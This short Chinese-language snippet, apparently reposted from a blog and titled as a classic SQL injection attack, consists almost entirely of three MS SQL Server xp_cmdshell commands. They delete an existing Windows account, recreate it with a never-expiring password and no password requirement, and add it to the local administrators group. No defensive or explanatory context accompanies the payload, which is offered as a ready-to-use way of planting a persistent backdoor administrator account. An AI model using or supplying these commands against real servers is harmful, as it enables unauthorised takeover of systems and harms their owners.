经典Sql注入攻击

EXEC master..xp_cmdshell 'net user USERNAME /Delete' ,no_output   --如果已经存在,删除
 EXEC master..xp_cmdshell 'net user USERNAME PASSWORD /add  /active:"yes" /comment:"For running" /expires:"never" /fullname:"USERNAME" /passwordchg:"no" /passwordreq:"no"',no_output   ---增加USERNAME用户。
 EXEC master..xp_cmdshell 'net localgroup  administrators USERNAME /add',no_output   ---加入超户组
原文地址:https://www.cnblogs.com/yinhaosln/p/1109593.html